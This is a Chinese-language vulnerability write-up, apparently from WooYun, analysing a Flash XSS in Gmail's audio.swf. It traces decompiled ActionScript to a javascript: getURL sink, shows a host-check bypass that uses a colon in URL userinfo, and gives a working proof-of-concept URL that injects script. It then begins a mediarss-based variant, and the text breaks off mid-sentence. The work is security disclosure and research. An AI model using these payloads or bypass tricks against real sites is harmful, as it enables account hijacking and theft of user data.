[ 目录 ]
[0x00] 背景
[0x01] 挖掘漏洞
[0x02] 优雅利用
[0x03] 从反射到rootkit
[0x04] 总结
[0x00] 背景
这篇迟到了近一年的paper是对 WooYun: Gmail某处XSS可导致账号持久劫持 漏洞的详细说明,赶在世界末日发布,希望不会太晚.:)
既然标题已经提到了SWF XSS,那么第一件事就是查找mail.google.com域下的所有swf文件.感谢万能的Google,利用下面的dork,可以搜索任意域的swf, "site:yourdomain.com filetype:swf",进行简单的去重之后,我们得到了如下几个swf文件:
https://mail.google.com/mail/im/chatsound.swf
https://mail.google.com/mail/uploader/uploaderapi2.swf
https://mail.google.com/mail/html/audio.swf
https://mail.google.com/mail/im/sound.swf
https://mail.google.com/mail/im/media-api.swf
通过文件名以及直接打开,对这些的swf的功能应该有了一个初步的判断. chatsound.swf和sound.swf应该是播放声音用的, uploaderapi2.swf是上传文件, audio.swf是播放音频文件, media-api.swf? 还是不知道干嘛用的... 然后直接在Google里搜索这些swf的地址, 可以得到一些含有swf的地址, 比如"https://mail.google.com/mail/html/audio.swf?audioUrl= Example MP3 file", 通过这些swf后面跟的参数, 我们可以进一步推测出这个swf的功能, 此外在反编译时搜索这些参数, 可以快速地定位到整个swf的初始化的过程. 通过以上的过程, 我们发现, 该swf不仅仅接受audioUrl参数, 还接受videoUrl参数, 说明它还是一个视频播放器, 功能上的复杂化必然会对应用的安全性有所影响, 我们决定对此SWF文件进行深入分析.
[0x01] 挖掘漏洞
下载反编译后得到该swf所有的as文件, 通过搜索'ExternalInterface.call', 'getURL', 'navigateToURL', 'javascript:'等关键函数和字符串, 可以快速地定位一些能够执行javascript的代码段. 当搜索'javascript:'时, 我们得到了如下有意思的代码:
==com.google.video.apps.VideoPlayback==
_loc1.onPlaybackComplete = function ()
{
if (this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_NORMAL || this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_MINI)
{
this.queueURL("javascript:FlashRequest(\'donePlaying\', \'\"" + this.mediaPlayer_.url + "\"\');");
} // end if
...
一个类似javascript伪协议的字符串被代入了queueURL函数, 而且最为关键的是this.mediaPlayer_.url是被直接拼接到字符串的, 并未加以对引号的转义. 但说这是一个xss漏洞还为时过早, 因为我们不知道queueURL函数到底是做什么的, 而且对于this.mediaPlayer_.url在赋值之前是否有进行过滤, 还是处于一个未知的状态. 此外通过对函数名的判断,onPlaybackComplete应该是一个在播放完毕之后的回调函数.
我们搜索到了函数queueURL被定义的地方, 代码如下:
==com.google.video.apps.VideoPlayback==
_loc1.queueURL = function (url)
{
if (this.urlQueue_ == undefined)
{
this.urlQueue_ = new Array();
} // end if
this.urlQueue_.push(url);
};
...
然后通过跟踪"urlQueue_"变量, 发现如下代码:
==com.google.video.apps.VideoPlayback==
_loc1.checkForPageChanges = function ()
{
...
if (this.urlQueue_ != undefined)
{
var _loc2 = this.urlQueue_.shift();
if (_loc2 != undefined)
{
getURL(_loc2, "_self");
} // end if
}
...
继续跟踪"checkForPageChanges"函数:
==com.google.video.apps.VideoPlayback==
_loc1.initPlayerWithVars = function ()
{
...
_global.setInterval(this, "checkForPageChanges", 100);
...
搜索"initPlayerWithVars"函数:
==com.google.video.apps.VideoPlayback==
_loc1.initializePlayer = function ()
{
...
if (this.mediaState_ != undefined && (this.mediaState_.videoUrl != undefined || this.mediaState_.audioUrl != undefined))
{
this.initPlayerWithVars();
} // end if
从函数名字initializePlayer推断, 这个应该是一个初始化播放器的函数, 在swf打开的时候应该会被执行. 通过搜索的结果, 对整个过程进行反演:initializePlayer函数初始化播放器, 通过对(this.mediaState_ != undefined && (this.mediaState_.videoUrl != undefined || this.mediaState_.audioUrl != undefined))这一逻辑的判读, 如果为true, 则执行initPlayerWithVars函数, 每隔100毫秒调用checkForPageChanges函数, checkForPageChanges函数会检查urlQueue_是否为空数组, 如果不为空, 则弹出数组成员, 直接传入getURL函数. 而onPlaybackComplete则是一回调函数, 当播放完成后自动调用, 如果满足逻辑(this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_NORMAL || this.playerMode_ == com.google.ui.media.MediaPlayer.PLAYER_MODE_MINI), 会把this.mediaPlayer_.url参数压入urlQueue_数组.
通过以上跟踪分析, 我想我们可以得到第一个疑问的答案了,this.mediaPlayer_.url参数最终会被传入到getURL函数. 现在要来看mediaPlayer_.url参数是怎么取到的.
搜索mediaPlayer_.url:
==com.google.video.apps.VideoPlayback==
_loc1.initPlayerWithVars = function ()
{
this.videoStats_.endPlayback();
if (this.mediaState_.videoUrl != undefined)
{
this.mediaPlayer_.mediaType = com.google.ui.media.MediaPlayer.MEDIA_VIDEO;
this.setVideoUrl(this.mediaState_.videoUrl);
}
else if (this.mediaState_.audioUrl != undefined)
{
this.mediaPlayer_.mediaType = com.google.ui.media.MediaPlayer.MEDIA_AUDIO;
this.mediaPlayer_.url = this.mediaState_.audioUrl;
...
_loc1.setVideoUrl = function (url)
{
this.mediaPlayer_.url = url;
...
};
通过上述代码可以发现mediaPlayer_.url可以从两个地方获取, mediaState_.videoUrl和mediaState_.audioUrl. 现在再回过头来看文章开头的地方提到两个参数, videoUrl和audioUrl, 我们推断mediaState_.videoUrl和mediaState_.audioUrl参数是从url中传入的. 为了验证这一的想法, 我把audio.swf放置在本地服务器上, 并自己写了一个swf去读取audio.swf中的mediaState_.videoUrl和mediaState_.audioUrl. 当我载入http://localhost/gmail/audio.swf?videoUrl=http://localhost/test.flv时, 发现读取到的mediaState_.videoUrl为空.看来事情并没有我们想象的那么简单.
我们继续来跟代码. mediaState_应该是一个类的实例, 通过实例的名字, 我们猜测类名可能是mediaState, 搜索mediaState, 果然存在这个类:com.google.video.apps.MediaState. 阅读代码, 我们发现了读取mediaState_.videoUrl值失败的关键逻辑
==com.google.video.apps.MediaState==
_loc1.fromArgs = function (mainClip, playPageBase)
{
...
if (mainClip.videoUrl == undefined && mainClip.videourl != undefined)
{
mainClip.videoUrl = mainClip.videourl;
} // end if
...
if (com.google.webutil.url.Utils.isValidVideoUrl(mainClip.videoUrl))
{
this.videoUrl = mainClip.videoUrl;
}
if (com.google.webutil.url.Utils.isValidAbsoluteGoogleUrl(mainClip.audioUrl))
{
this.audioUrl = mainClip.audioUrl;
}
看来swf对从url传入的值进行了检查. 我们接着跟踪com.google.webutil.url.Utils.isValidVideoUrl和com.google.webutil.url.Utils.isValidAbsoluteGoogleUrl这两个函数.
==com.google.webutil.url.Utils==
_loc1.isValidVideoUrl = function (videoUrl)
{
if (com.google.webutil.url.Utils.isPrefix(videoUrl, "http://youtube.com/watch?v="))
{
return (true);
} // end if
var _loc3 = "http://vp";
if (!com.google.webutil.url.Utils.isPrefix(videoUrl, _loc3))
{
return (false);
} // end if
var _loc4 = videoUrl.indexOf(".", _loc3.length);
if (_loc4 != _loc3.length && _global.isNaN(_global.parseInt(videoUrl.slice(_loc3.length, _loc4))))
{
return (false);
} // end if
return (com.google.webutil.url.Utils.isPrefix(videoUrl.substr(_loc4), ".video.google.com/videodownload"));
};
_loc1.isValidAbsoluteGoogleUrl = function (url)
{
if (com.google.webutil.url.Utils.isValidAbsoluteUrl(url))
{
var _loc3 = "google.com";
var _loc4 = com.google.webutil.url.Utils.getProtocolAndHost(url);
var _loc5 = _loc4.substring(_loc4.length - _loc3.length);
return (_loc5 == _loc3);
} // end if
return (false);
};
现在回想一下我们利用成功的前提条件, 就是需要函数没有在对mediaState_.videoUrl或mediaState_.audioUrl赋值时进行引号的转义. 阅读以上的代码, 我们发现验证函数并没有任何对引号进行转义操作, 说明这个漏洞的确是存在的.:) 但是别高兴地太早了, 在回过头想一下触发getURL的函数onPlaybackComplete, 没错, 是一个回调函数, 需要视频流或者音频流播放完毕, 因此, 我们必须要寻找一个确实存在的视频或者音频文件, 且能满足以上对于url的检查. 由于audio.swf文件创建时间比较早, isValidVideoUrl函数中检验的几个api均已经废弃了, 因此我们转向检查较为宽松的isValidAbsoluteGoogleUrl的函数以寻求突破.
我们来看下com.google.webutil.url.Utils.getProtocolAndHost这个关键函数.
==com.google.webutil.url.Utils==
_loc1.getProtocolAndHost = function (url)
{
var _loc3 = com.google.webutil.url.Utils.getProtocolHostAndPort(url);
var _loc4 = _loc3.indexOf("://");
var _loc5 = _loc3.lastIndexOf(":");
if (_loc5 < 0 || _loc4 == _loc5)
{
return (_loc3);
}
else
{
return (_loc3.substring(0, _loc5));
} // end else if
};
...
_loc1.getProtocolHostAndPort = function (url)
{
var _loc3 = url.indexOf("://");
if (_loc3 == -1)
{
_loc3 = 0;
}
else
{
_loc3 = _loc3 + 3;
} // end else if
var _loc4 = com.google.webutil.url.Utils.indexOfOrMax(url, "/", _loc3);
var _loc5 = com.google.webutil.url.Utils.indexOfOrMax(url, "?", _loc3);
var _loc6 = Math.min(_loc4, _loc5);
return (url.substring(0, _loc6));
};
注意getProtocolAndHost函数中var loc5 = _loc3.lastIndexOf(":")这行代码, 我想程序员的本意是想利用这个":"获取web应用的端口, 如localhost:8080之类的, 但是在uri中,还有一个地方是需要":"的, 就是在401登陆中, 作为用户名和密码的分割符, 而且这个":"出现的位置是在作为分割host和端口的":"之前. 利用这个特性,我们就可以很轻松地绕过isValidAbsoluteGoogleUrl的检查了. 载入http://localhost/gmail/audio.swf?audioUrl=http://google.com:@localhost/t.mp3时, 成功地读取到的mediaState.audioUrl的值,就是http://google.com:@localhost/t.mp3.
再加上其他参数,使得能满足上述的一些if判断,最后的poc如下:
https://mail.google.com/mail/html/audio.swf?playerMode=normal&autoplay=true&audioUrl=http://google.com:@localhost/gmail/t.mp3?%27%29%3Bfunction%20FlashRequest%28%29%7Balert%28document.domain%29%7D%2f%2f
URL解码后如下
https://mail.google.com/mail/html/audio.swf?playerMode=normal&autoplay=true&audioUrl=http://google.com:@localhost/gmail/t.mp3?');function FlashRequest(){alert(document.domain)}//
我们拼接最后传入getURL的伪协议字符串
javascript:FlashRequest('donePlaying', 'http://google.com:@localhost/gmail/t.mp3?');function FlashRequest(){alert(document.domain)}//');
由于在承载swf的html页面中FlashRequest未定义, 我们需要自己定义一个FlashRequest函数, 而且在js中, function语句是最先执行的, 所以不用担心在执行FlashRequest('donePlaying', 'http://google.com:@localhost/gmail/t.mp3?')这句时FlashRequest还没有定义. 当然, 你可以把alert(document.domain)转换成任意你想要执行的js代码. 另外值得注意的一点就是, 由于getURL操作在mp3播放完毕后才触发的, 因此我们把http://localhost/t.mp3剪切得足够短, 只有0.5秒, 当你打开swf之后, 不到一秒钟, MP3已经载入并播放完毕, js得到了执行, 你很难察觉到其中的延迟.
[0x02] 优雅利用
对于一个完美主义者, 我们不得不承认, 上述提到的poc是丑陋的. 原因如下:
1. 我们的URL中含有大量的脏代码, 这仅仅是一个poc, 如果需要更进一步的操作, 我们还要添加大量字符到url.
2. 像"http://google.com:@localhost/t.mp3"这样的URL只能被Firefox认可, Chrome和IE会废弃这类的请求.
3. 如果我们需要真正地做一些dirty work, 而不仅仅是弹个document.domain的窗, 那么我们可能需要进行一些的网络通信, 比如载入js,获取关键数据等, 而这些操作的代价是什么, 没错, 就是时间. 我们的poc仅仅是播放一个0.5秒长的MP3文件, 对于一个无聊的dead page, 人们的反应通常右上角的X. 换句话说, 我们争取不到我们需要的时间.
那么如何形成一个更加优雅的利用方式呢?
我在查找fromArgs函数时, 发现以下的代码
==com.google.video.apps.VideoPlayback==
if (com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.videoUrl) || com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.audioUrl))
{
this.mediaState_ = new com.google.video.apps.MediaState();
this.mediaState_.fromArgs(this.clip_, this.vgcHostPort + com.google.video.apps.VideoPlayback.VGC_PLAYPAGE_PATH);
}
else if (com.google.webutil.url.Utils.isValidAbsoluteUrl(this.clip_.mediarss))
{
this.mediaRss_ = new com.google.xml.MediaRSS();
this.mediaRss_.init(this.clip_.mediarss);
}
我想大概有两个办法可以载入一段视频, 一个是直接赋值一个videoUrl, 正如前文提到的, 另一个就是通过制定一个mediarss, swf去解析这个rss, 播放其中指定的视频, 更美妙的是, 对于mediarss, 只判断是是否是绝对地址(isValidAbsoluteUrl), 这使得载入我们直接服务器上的mediarss文件成为了可能.
让我们忘记所有的代码吧, 对于这种xml文件类的调试, 我想以黑盒的方式更加方便一些. 再感谢万能的Google, 我从网上找到了一份mediarss的样本, 修改如下, 我们替换了